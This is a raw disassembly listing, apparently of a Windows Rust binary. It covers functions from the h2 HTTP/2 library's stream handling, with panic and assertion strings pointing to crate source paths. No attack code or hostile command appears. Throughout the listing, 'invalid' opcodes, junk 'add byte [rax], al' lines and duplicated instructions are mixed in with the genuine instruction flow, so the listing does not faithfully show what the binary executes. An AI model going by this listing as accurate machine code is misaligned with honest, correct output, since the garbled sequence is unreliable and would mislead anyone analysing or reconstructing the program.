pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdi, rcx
call fcn.1401105f0
mov rcx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [rsi + 1]
test al, al
je case.0x1400d62e6.1953
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x48], dil
and al, 0x48
and al, 0x48
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401088e0
mov al, 0x53
invalid
invalid
mov al, 0x53
invalid
mov rcx, rbx
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a31d2
call fcn.1401105f0
xor al, 1
mov dword [rsp + 0x34], eax
jmp 0x1400a31da
call fcn.1401105f0
test al, al
jne 0x1400a3455
mov byte [rbx + 1], 1
jmp 0x1400a3455
call fcn.1401105f0
test al, al
jne 0x1400a3485
mov byte [rsi + 1], 1
jmp 0x1400a3485
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
mov qword [rsp + 0xa0], rax
lea rax, [0x14001b1f0]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff77c55
mov qword [rsp + 0xa8], rax
lea rax, str.dangling_store_key_for_stream_id
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x85ffe
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
add al, ch
jl 0x1400a3645
invalid
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x34]
mov byte [rsp + 0x48], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401088e0
int3
push rdi
push rbp
push rbx
sub rsp, 0x508
movaps xmmword [rsp + 0x4f0], xmm6
add byte [rcx - 0x77], cl
invalid
mov rbx, rcx
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x50], 0
lea r14, [rcx + 0xb8]
lea rax, [rcx + 0xc0]
mov qword [rsp + 0x68], rax
lea rax, [rcx + 0x100]
mov qword [rsp + 0x28], rax
lea rax, [rcx + 0xd8]
mov qword [rsp + 0xb8], rax
lea rax, [rcx + 0xc8]
mov ah, 0x24
invalid
add byte [rcx - 0x77], cl
invalid
mov qword [rsp + 0xc8], rax
xorps xmm6, xmm6
lea r15, [rsp + 0x58]
mov qword [rsp + 0xc0], rdx
jmp 0x1400a3709
mov rax, qword [rbx + 0xc0]
mov rdx, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x10]
mov qword [rbx + 0xb8], 3
mov qword [rbx + 0xc0], r12
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xc8]
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rcx], xmm0
mov dword [rbx + 0xe0], ebp
mov rsi, qword [r14]
lea rax, [rsi - 3]
cmp rax, 1
ja 0x1400a3830
mov r12, qword [rbx + 0x108]
mov rdi, qword [rbx + 0x120]
cmp r12, rdi
jbe 0x1400a38c0
mov rsi, qword [rbx + 0x140]
mov r15, qword [rbx + 0x148]
mov rcx, rsi
call qword [r15 + 0x40]
test al, al
je 0x1400a3a55
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
mov dword [rsp + rax + 0xe8], 0
mov qword [rsp + rax + 0xf0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400a3760
mov rax, r12
sub rax, rdi
mov ecx, 0
cmovb rax, rcx
mov rcx, rax
shr rcx, 0x20
shr ecx, 0x20
shr ecx, 0x20
jne 0x1400a4265
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
add rcx, rdi
mov dword [rsp + 0xf0], eax
mov qword [rsp + 0xf8], rcx
mov r9d, 1
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xf0]
call qword [r15 + 0x38]
test rax, rax
je 0x1400a3a83
jmp 0x1400a3fdd
test rsi, rsi
je 0x1400a3853
cmp esi, 1
jne 0x1400a385c
add dword [rbp + 0x22], esi
mov rax, qword [rbx + 0xc8]
sub rax, qword [rbx + 0xd0]
mov ecx, 0
cmovae rcx, rax
jmp 0x1400a385e
mov rcx, qword [rbx + 0xd0]
jmp 0x1400a385e
xor ecx, ecx
mov rax, qword [rbx + 0xe0]
cmp rcx, rax
cmovae rcx, rax
test rcx, rcx
je 0x1400a38c0
mov rcx, qword [rbx + 0x108]
or byte [rcx], al
add byte [rax], al
sub rcx, qword [rbx + 0x120]
mov edx, 0
add byte [rax + 0xf], cl
retf 0x8548
test byte [rdi], 0x84
invalid
add al, byte [rax]
invalid
add byte [rax + 0xf], cl
retf 0x8548
mov edx, 0
cmp esi, 1
jne 0x1400a3aad
mov r8, qword [rbx + 0xc8]
sub r8, qword [rbx + 0xd0]
mov edx, 0
cmovae rdx, r8
jmp 0x1400a3aad
mov qword [rbx + 0x120], 0
mov qword [rbx + 0x108], 0
mov qword [rbx + 0xb8], 4
cmp esi, 3
jne 0x1400a3f4c
mov rax, qword [rsp + 0x68]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov ebp, dword [rbx + 0xe0]
mov eax, dword [rbx + 0x138]
add rax, 9
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xf0], 0
mov r8d, 3
and al, 0xf0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov rcx, r15
lea rdx, [rsp + 0xf5]
call fcn.14002b230
mov byte [rsp + 0xf0], 9
and al, 0xf0
add byte [rax], al
add byte [rcx], cl
and al, 0xf0
add byte [rax], al
add byte [rcx], cl
mov r8d, 1
mov rcx, r15
lea rsi, [rsp + 0xf0]
mov rdx, rsi
call fcn.14002b230
mov byte [rsp + 0xf0], 4
mov r8d, 1
mov rcx, r15
mov rdx, rsi
call fcn.14002b230
mov eax, ebp
bswap eax
mov dword [rsp + 0xf0], eax
mov r8d, 4
mov rcx, r15
mov rdx, rsi
call fcn.14002b230
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, r15
mov r15, qword [rax + 8]
mov rsi, qword [rsp + 0x80]
mov rdi, r15
not rdi
cmp rdi, rdx
cmovae rdi, rdx
cmp rsi, rdi
jbe 0x1400a3a40
test rdi, rdi
je 0x1400a3bea
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0xf0]
add byte [rax], al
lea rdx, [rsp + 0x88]
mov r9, rsi
call qword [rax]
sub qword [rsp + 0x80], rdi
sub dword [rsp + 0x80], edi
sub dword [rsp + 0x80], edi
add qword [rsp + 0x78], rdi
mov qword [rsp + 0x100], rdi
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xa8], rax
jmp 0x1400a3c10
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call fcn.14002b230
xor r12d, r12d
jmp 0x1400a3c72
mov rax, qword [rsp + 0x28]
mov r8, qword [rax]
add r8, rdi
mov rax, r12
sub rax, rdi
mov r9d, 0
cmovae r9, rax
mov rcx, rsi
mov rdx, r13
call qword [r15 + 0x20]
test rax, rax
jne 0x1400a3fcd
add rdi, rdx
lea r15, [rsp + 0x58]
jb 0x1400a4229
cmp rdi, r12
ja 0x1400a4241
mov qword [rbx + 0x120], rdi
jmp 0x1400a3709
mov rdx, qword [rbx + 0xd0]
cmp rdx, rax
cmovb rax, rdx
add rcx, rax
jb 0x1400a4259
je 0x1400a3709
mov rsi, qword [rbx + 0x140]
mov r12, qword [rbx + 0x148]
mov rcx, rsi
call qword [r12 + 0x40]
push rsp
and al, 0x40
push rsp
and al, 0x40
test al, al
je 0x1400a3bb6
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
mov dword [rsp + rax + 0xe8], 0
mov qword [rsp + rax + 0xf0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400a3af0
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
sub rcx, rax
jbe 0x1400a3d42
mov edx, 0
cmovb rcx, rdx
mov rdx, rcx
shr rdx, 0x20
and byte [rdi], cl
test eax, esp
invalid
add byte [rax], al
and byte [rdi], cl
test eax, esp
invalid
mov rdx, qword [rsp + 0x28]
add rax, qword [rdx]
mov dword [rsp + 0xf0], ecx
mov qword [rsp + 0xf8], rax
mov eax, 1
mov rdx, qword [r14]
cmp rdx, 2
jne 0x1400a3d51
xor r8d, r8d
jmp 0x1400a3dbf
mov rax, qword [rbx + 0x108]
mov rcx, qword [rbx + 0x120]
cmp rax, rcx
jbe 0x1400a3d70
mov rdx, qword [rsp + 0x28]
mov r8, qword [rdx]
add r8, rcx
sub rax, rcx
mov r9d, 0
cmovae r9, rax
jmp 0x1400a3ecc
mov qword [rsp + 0x98], 1
lea rax, [rsp + 0xa0]
movups xmmword [rax], xmm6
lea rax, [0x140114ae8]
mov qword [rsp + 0x90], rax
mov r13, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
lea rcx, [rsp + 0x58]
mov rdx, r13
mov r8, r12
call fcn.14002b230
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r13
mov r8, r12
call qword [rax + 0x10]
mov r12, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x100], rax
mov r13, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
mov rcx, rdx
sub rcx, r15
bswap rcx
mov r8, rcx
shl r8, 0x18
jne 0x1400a4200
cmp rdx, 2
lea r15, [rsp + 0x58]
jbe 0x1400a4218
shr rcx, 0x28
mov rdx, qword [rax]
mov word [rdx], cx
shr ecx, 0x10
mov byte [rdx + 2], cl
test r12, r12
je 0x1400a3cca
mov rdx, qword [rax + 8]
cmp rdx, 5
jb 0x1400a41ef
mov rax, qword [rax]
add byte [rax + 4], 0xfc
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xe0], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xd0], xmm0
cmp rsi, rdi
ja 0x1400a3d0c
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea rcx, [rsp + 0x88]
call qword [rax + 0x10]
test r12, r12
je 0x1400a3709
mov rax, qword [r14]
cmp rax, 4
je 0x1400a36d2
cmp eax, 3
je 0x1400a36b2
cmp eax, 1
je 0x1400a3e12
test rax, rax
je 0x1400a36b2
jmp 0x1400a36d2
xor eax, eax
mov rdx, qword [r14]
cmp rdx, 2
je 0x1400a3bae
cmp edx, 1
jne 0x1400a3db8
mov rcx, qword [rbx + 0xc8]
sub rcx, qword [rbx + 0xd0]
mov r8d, 0
cmovae r8, rcx
jmp 0x1400a3dbf
mov rax, qword [r14]
cmp rax, 2
je 0x1400a3ea6
cmp eax, 1
jne 0x1400a3eb0
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xc0]
add r8, rax
sub rcx, rax
mov eax, 0
cmovae rax, rcx
mov ecx, 1
cmovbe r8, rcx
jmp 0x1400a3ebe
mov r8, qword [rbx + 0xd0]
mov rcx, qword [rbx + 0xe0]
cmp r8, rcx
cmovae r8, rcx
test r8, r8
je 0x1400a3e0d
cmp edx, 2
je 0x1400a3e3c
cmp edx, 1
jne 0x1400a3e46
mov r9, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
mov rdx, qword [rbx + 0xc0]
add rdx, r8
sub r9, r8
mov r8d, 0
cmovae r8, r9
mov r9d, 1
cmovbe rdx, r9
jmp 0x1400a3e54
xor r9d, r9d
jmp 0x1400a3e86
cmp qword [rbx + 0xc8], 0
je 0x1400a36d2
mov rax, qword [rsp + 0x68]
mov r8, qword [rax]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a36d2
mov edx, 1
xor r8d, r8d
jmp 0x1400a3e54
mov rdx, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
cmp r8, rcx
cmovb rcx, r8
mov r8, rcx
shr r8, 0x20
jne 0x1400a4265
mov r8d, eax
shl r8d, 4
add r8, rsp
rol byte [rcx - 0x3f], 0xe0
add al, 0x49
add eax, esp
add r8, 0xf0
mov dword [r8], ecx
mov qword [r8 + 8], rdx
mov r9d, 1
add r9, rax
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xf0]
call qword [r12 + 0x38]
test rax, rax
je 0x1400a3ee0
jmp 0x1400a3fdd
mov r8d, 1
xor eax, eax
jmp 0x1400a3ebe
mov r8, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov r9, qword [rbx + 0xe0]
cmp rax, r9
cmovb r9, rax
mov rcx, rsi
mov rdx, r13
call qword [r12 + 0x20]
test rax, rax
jne 0x1400a3fcd
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
mov r9, rcx
mov r8d, 0
sub r9, rax
cmovae r8, r9
jbe 0x1400a3f21
cmp r8, rdx
jae 0x1400a3f2e
add rax, r8
jb 0x1400a4229
cmp rax, rcx
ja 0x1400a4241
mov qword [rbx + 0x120], rax
sub rdx, r8
mov rcx, r14
call fcn.1400a4a90
jmp 0x1400a3709
add rax, rdx
jb 0x1400a4229
cmp rax, rcx
ja 0x1400a4241
mov qword [rbx + 0x120], rax
jmp 0x1400a3709
cmp esi, 4
je 0x1400a405d
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rbx + 0xf8]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rbx + 0xe8]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rbx + 0x70]
cmp rax, 3
je 0x1400a4011
cmp eax, 1
je 0x1400a3ff4
test rax, rax
jne 0x1400a4011
lea rcx, [rbx + 0x90]
mov rax, qword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov r8, qword [rbx + 0x88]
call qword [rax + 0x10]
jmp 0x1400a4011
cmp rax, 1
mov edi, 1
je 0x1400a3fe3
jmp 0x1400a4120
cmp rax, 1
jne 0x1400a3fea
xor edi, edi
jmp 0x1400a4120
mov edi, 1
jmp 0x1400a4120
cmp qword [rbx + 0x80], 0
je 0x1400a4011
mov r8, qword [rbx + 0x78]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbx + 0x70], rsi
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rbx + 0x78], xmm0
movups xmmword [rbx + 0x88], xmm1
mov rax, qword [rsp + 0x110]
mov qword [rbx + 0x98], rax
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0xa0], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0xb0], rax
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, r13
call qword [rax + 0x28]
mov rdi, rax
test rax, rax
jne 0x1400a4120
test rdx, rdx
jne 0x1400a4120
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400a41cc
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a40bb
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400a41cc
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a41c6
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400a41cc
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140004950
jmp 0x1400a41cc
mov r9, qword [rsp + 0x30]
cmp r9, 2
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
add cl, byte [rdi]
test byte [rcx + 0x48000000], ah
lea eax, [rsp + 0x48]
and al, 0x48
lea rax, [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
test r9, r9
mov rsi, rdx
je 0x1400a4158
mov rdx, qword [r8 + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, rax
call qword [r8 + 0x68]
mov r8, qword [rsp + 0x30]
cmp r8, 2
mov rdx, rsi
je case.0x140031ef2.1706
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a41bb
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
mov rdx, rsi
jne case.0x140031ef2.1706
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140004950
mov rdx, rsi
jmp case.0x140031ef2.1706
call qword [rax + 0x80]
mov rdx, rsi
jmp case.0x140031ef2.1706
call qword [rax + 0x80]
xor edx, edx
xor edi, edi
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 4
call fcn.1401085b0
lea rcx, [0x1401298e9]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
call fcn.140108630
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 3
call fcn.140108620
lea rcx, str.overflow
lea r8, [0x14014fbb8]
mov edx, 8
call fcn.140108990
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014fb98]
mov edx, 0x36
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108970
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_syspalwindowsio.rs
lea r8, [0x140140568]
mov edx, 0x35
call fcn.140108630
int3
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
cmp eax, 0x48000000
clc
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rax], al
clc
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rax], al
movups xmm0, xmmword [r9 + 0xb8]
add byte [rax], al
movups xmm0, xmmword [r9 + 0xb8]
movups xmm1, xmmword [r9 + 0xc8]
movups xmm2, xmmword [r9 + 0xd8]
movups xmm3, xmmword [r9 + 0xe8]
movaps xmmword [rsp + 0x160], xmm3
movaps xmmword [rsp + 0x150], xmm2
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x130], xmm0
mov qword [r9 + 0xb8], 3
cmp dword [rsp + 0x130], 3
jne 0x1400a4310
xor esi, esi
jmp 0x1400a46a6
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movaps xmm2, xmmword [rsp + 0x150]
movaps xmm3, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0xd0], xmm3
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0xe0], rax
movaps xmmword [rsp + 0xc0], xmm2
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov edi, dword [rsp + 0xd0]
mov esi, dword [rsp + 0xd4]
mov eax, dword [rcx + 0x4c]
mov dword [rcx + 0x4c], 0
cmp eax, 1
je 0x1400a43c9
cmp eax, 2
jne 0x1400a4783
mov rax, qword [rsp + 0xa0]
cmp rax, 1
je 0x1400a4582
test rax, rax
jne 0x1400a45f8
lea rcx, [rsp + 0xc0]
mov rax, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
call qword [rax + 0x10]
jmp 0x1400a45f8
mov eax, dword [rsp + 0xe0]
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov r9, qword [rsp + 0x150]
mov qword [rsp + 0x50], r9
movzx r10d, byte [rsp + 0xd8]
movzx r9d, byte [rsp + 0xe6]
movzx r11d, word [rsp + 0xe4]
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5e], r9b
mov word [rsp + 0x5c], r11w
mov r11, qword [rsp + 0x30]
cmp r11, 2
je 0x1400a45f8
cmp r11d, 1
jne 0x1400a45a8
mov r14, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
xor ebx, ebx
sub r14, rax
cmovae rbx, r14
test rbx, rbx
je 0x1400a45b9
mov dword [rsp + 0xf8], edi
mov dword [rsp + 0xfc], esi
mov qword [rsp + 0xf0], r8
test r10b, r10b
je 0x1400a447a
or r9b, 1
mov byte [rsp + 0x5e], r9b
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x1b0], eax
movzx eax, word [rsp + 0x5c]
mov word [rsp + 0x1b4], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x1b6], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x1b7], al
movups xmmword [rsp + 0x198], xmm1
and al, 0xb7
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x198], ecx
movups xmmword [rsp + 0x188], xmm0
mov byte [rsp + 0x180], 0
mov dword [rsp + 0x28], edi
lea r14, [rsp + 0x2c]
mov dword [rsp + 0x2c], esi
cmp qword [r8 + 0x10], rdi
jbe 0x1400a46b9
mov rbx, rcx
mov rcx, qword [r8 + 8]
imul r15, rdi, 0x130
cmp dword [rcx + r15], 2
je 0x1400a46b9
add rcx, r15
cmp dword [rcx + 0x114], esi
jne 0x1400a46b9
lea rax, [rsp + 0x180]
mov r12, r8
mov r8, rax
call fcn.1400a47a0
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x2c], esi
cmp qword [r12 + 0x10], rdi
jbe 0x1400a471e
mov rax, r12
mov rax, qword [r12 + 8]
cmp dword [rax + r15], 2
je 0x1400a471e
add rax, r15
cmp dword [rax + 0x114], esi
jne 0x1400a471e
cmp dword [rax + 0x84], 0
jle 0x1400a457d
mov rcx, rbx
add rcx, 0x10
lea rdx, [rsp + 0xf0]
call fcn.1400a4900
mov sil, 1
jmp 0x1400a45fa
cmp qword [rsp + 0xb0], 0
je 0x1400a45f8
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x140182260]
xor esi, esi
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a45fa
mov rax, qword [rsp + 0x48]
mov rbx, rax
test rbx, rbx
jne 0x1400a4456
cmp r11d, 1
je 0x1400a45dc
test r11, r11
jne 0x1400a45f8
lea rcx, [rsp + 0x50]
mov r9, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, rax
call qword [r9 + 0x10]
jmp 0x1400a45f8
cmp qword [rsp + 0x40], 0
je 0x1400a45f8
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x1400a46a6
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x1400a4638
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x1400a46a6
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x1400a46a0
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x1400a46a6
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.140004950
jmp 0x1400a46a6
call qword [rax + 0x80]
mov eax, esi
add rsp, 0x2a8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x68], r14
lea rax, [0x14001b1f0]
mov qword [rsp + 0x70], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x100]
call fcn.140108560
mov qword [rsp + 0x68], r14
lea rax, [0x14001b1f0]
mov qword [rsp + 0x70], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x120], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x100]
call fcn.140108560
lea rcx, str.wasnt_expecting_a_frame_to_reclaim
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
mov edx, 0x23
call fcn.14010d200
int3
cmp rbx, r14
jae 0x1400a48c0
imul rax, rbx, 0x138
add r15, rax
cmp dword [r15], 2
je 0x1400a48c0
mov rax, qword [rsi + 8]
add rsi, 8
mov qword [r15], 1
invalid
add dword [rax], eax
add byte [rax], al
mov qword [r15 + 8], rax
jmp 0x1400a48ae
invalid
cmp byte [rcx], al
add byte [rax], al
add rax, r15
cmp dword [rax], 2
jne 0x1400a48d8
lea rcx, [rax + 8]
mov rdx, qword [rax + 8]
mov qword [rdi + 0x20], rdx
mov qword [rax], 0
lea rdx, [rsp + 0x20]
mov r8d, 0x130
call fcn.140106530
cmp qword [rsi], 0
jne 0x1400a4833
add byte [rbp - 0x6c], dh
mov qword [rsi], 1
mov qword [rsi + 8], rbx
add rsi, 0x10
mov qword [rsi], rbx
add rsp, 0x150
pop rbx
pop rdi
pop rsi
